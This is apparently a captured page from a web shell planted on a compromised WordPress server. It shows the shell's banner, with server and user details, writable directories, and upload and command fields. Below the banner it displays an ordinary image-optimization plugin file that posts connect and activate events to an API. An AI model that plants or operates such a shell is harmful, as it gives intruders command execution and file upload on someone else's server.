403Webshell
Server IP : 213.136.93.164  /  Your IP : 216.73.216.104
Web Server : Apache
System : Linux m14200.contabo.net 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : ki692510 ( 1047)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ki692510/www/wp-content/plugins/image-optimization/modules/oauth/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ki692510/www/wp-content/plugins/image-optimization/modules/oauth/components//checkpoint.php
<?php

namespace ImageOptimization\Modules\Oauth\Components;

use ImageOptimization\Classes\Utils;
use ImageOptimization\Modules\Oauth\Classes\Data;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Class Checkpoint
 */
class Checkpoint {

	const ON_CONNECT = 'image-optimizer-connect';
	const ON_DISCONNECT = 'image-optimizer-disconnect';
	const ON_ACTIVATE = 'image-optimizer-activate';
	const ON_DEACTIVATE = 'image-optimizer-deactivate';

	/**
	 * event
	 *
	 * @param array $event_data
	 */
	public static function event( array $event_data = [] ): void {
		$event_name = current_action();
		// only allow specific events
		if ( ! in_array( $event_name, self::get_checkpoints() ) ) {
			return;
		}

		$response = Utils::get_api_client()->make_request(
			'POST',
			'status/checkpoint',
			[
					'event_name' => $event_name,
					'event_data' => $event_data,
			]
		);
	}

	/**
	 * get_checkpoints
	 * @return string[]
	 */
	public static function get_checkpoints(): array {
		return [
			self::ON_DISCONNECT,
			self::ON_CONNECT,
			self::ON_ACTIVATE,
			self::ON_DEACTIVATE,
		];
	}
	public function __construct() {
		foreach ( self::get_checkpoints() as $checkpoint ) {
			add_action( $checkpoint, [ __CLASS__, 'event' ], 10, 0 );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit